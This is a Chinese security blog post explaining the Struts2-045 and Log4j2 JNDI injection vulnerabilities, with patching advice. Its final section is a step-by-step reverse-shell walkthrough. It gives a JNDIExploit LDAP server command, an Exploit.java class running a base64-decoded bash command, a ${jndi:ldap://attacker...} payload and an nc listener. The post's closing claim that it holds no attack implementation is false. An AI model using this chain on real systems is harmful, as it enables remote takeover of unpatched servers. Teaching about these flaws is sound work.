【HW系列】—web组件漏洞(Strtus2和Apache Log4j2)

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Struts2
    • [Struts2 框架介绍](#Struts2 框架介绍)
    • [Struts2 历史漏洞汇总(表格)](#Struts2 历史漏洞汇总(表格))
    • [Struts2-045 漏洞详解](#Struts2-045 漏洞详解)
  • Log4j2
    • [Log4j2 框架介绍](#Log4j2 框架介绍)
    • [Log4j2 漏洞原理](#Log4j2 漏洞原理)
        • [1. JNDI 注入](#1. JNDI 注入)
        • [2. 利用过程](#2. 利用过程)
    • [Log4j2 历史漏洞](#Log4j2 历史漏洞)
    • [JNDI+LDAP 反弹 Shell 流程](#JNDI+LDAP 反弹 Shell 流程)

Struts2

Struts2 框架介绍

Apache Struts2 是一个基于 MVC 设计模式的开源 Web 应用框架,广泛应用于企业级开发。其核心特点包括:

  • 灵活的请求处理:通过拦截器机制动态处理用户请求,支持 RESTful API。
  • 扩展性强:支持插件机制(如文件上传、JSON 解析)。
  • 安全风险:历史版本因设计缺陷(如输入验证缺失、危险函数滥用)多次曝出高危漏洞。

Struts2 历史漏洞汇总(表格)

注:更多漏洞可参考 Apache Struts2 官方安全公告。


Struts2-045 漏洞详解

1. 简介

Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 远程代码执行漏洞,因 Jakarta 文件上传插件对 Content-Type 头 未严格校验,攻击者可构造恶意 HTTP 请求头注入 OGNL 表达式,导致目标服务器执行任意命令。
2. 影响范围

  • 受影响版本:
    • Struts 2.3.5--2.3.31
    • Struts 2.5--2.5.10
  • 典型场景:使用 Struts2 框架的文件上传功能且未升级补丁的 Web 应用。

Log4j2

Log4j2 框架介绍

Apache Log4j2 是 Java 生态中广泛使用的 日志记录库,支持动态配置、多输出源(文件、控制台、数据库等)和日志级别管理。其核心功能包括:

  • 高性能异步日志:适用于高并发场景。
  • 插件化架构:支持自定义 Appender、Filter 等组件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心机制:Log4j2 的 Lookup 功能允许通过 ${jndi:ldap://attacker.com/exp} 解析动态内容。
  • 漏洞触发:当应用程序记录包含恶意 JNDI 表达式的日志时,Log4j2 会通过 JNDI 协议(LDAP/RMI)请求远程资源,加载并执行攻击者部署的恶意类文件。
2. 利用过程
  1. 构造恶意请求:攻击者发送包含 ${jndi:ldap://恶意服务器/exp} 的日志内容(如 HTTP 请求头)。
  2. 触发解析:Log4j2 解析该内容,向 LDAP/RMI 服务器发起请求。
  3. 加载恶意类:恶意服务器返回指向远程 HTTP 服务的 Reference 对象,客户端下载并执行恶意类文件。

Log4j2 历史漏洞


JNDI+LDAP 反弹 Shell 流程

  1. 搭建恶意 LDAP 服务器:
    • 使用工具(如 JNDIExploit)启动 LDAP 服务,并绑定指向恶意类的 URL。
bash 复制代码
java -jar JNDIExploit-1.2.jar -i 攻击者IP -p 1389  
  1. 生成恶意类文件:
    • 编写包含反弹 Shell 代码的 Java 类(如 Exploit.java),编译后托管在 HTTP 服务器。
java 复制代码
public class Exploit {  
    static {  
        try {  
            Runtime.getRuntime().exec("bash -c {echo,base64编码的Shell命令} | base64 -d | bash");  
        } catch (Exception e) {}  
    }  
}  
  1. 构造 Payload:
    • 发送包含 ${jndi:ldap://攻击者IP:1389/Exploit} 的请求至目标应用。
  2. 触发漏洞:
    • 目标服务器解析 Payload,从 LDAP 服务器获取恶意类地址并加载执行,反弹 Shell 至攻击者监听端口。
  3. 接收 Shell:
bash 复制代码
nc -lvnp 监听端口  

防御建议:

  • 升级 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置网络防火墙限制外连请求,使用 WAF 拦截恶意特征。

注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

相关推荐
马可家的菠萝14 小时前
自动保存已经有了,为什么笔记软件还需要“历史版本”?
前端·后端·架构
半个落月14 小时前
从 "use client" 到 Route Handler:用 Todos 理解 Next.js 水合与全栈请求
前端·react.js·next.js
qq_4523962314 小时前
第七篇:《大型前端项目的模块化与目录结构设计》
前端
夜月yeyue14 小时前
SOME/IP 服务模型
linux·服务器·单片机·安全·车载系统
你脑门上的脚印14 小时前
Vue 项目从零实现语音转文字、文字转语音功能(完整可用 + 踩坑指南)
前端·vue.js
夜月yeyue14 小时前
SOME/IP-SD 服务发现故障
网络·单片机·网络协议·tcp/ip·安全·服务发现
txg66614 小时前
LLM 驱动漏洞传播验证:TransferFuzz-Pro 如何自动调试“继承“来的安全债
人工智能·深度学习·安全
paopaokaka_luck14 小时前
基于springboot3+vue3的车间生产管理系统(Echarts图形化分析、BI报表)
java·前端·spring boot·学习·echarts
程序员鱼皮15 小时前
3 大 DeepSeek Harness 进阶玩法,招多个大肥鱼帮我干活!
前端·后端·ai编程
戴西软件15 小时前
国内有哪些数据轻量化格式转换软件?
数据库·算法·安全·信息可视化·自动化·rpa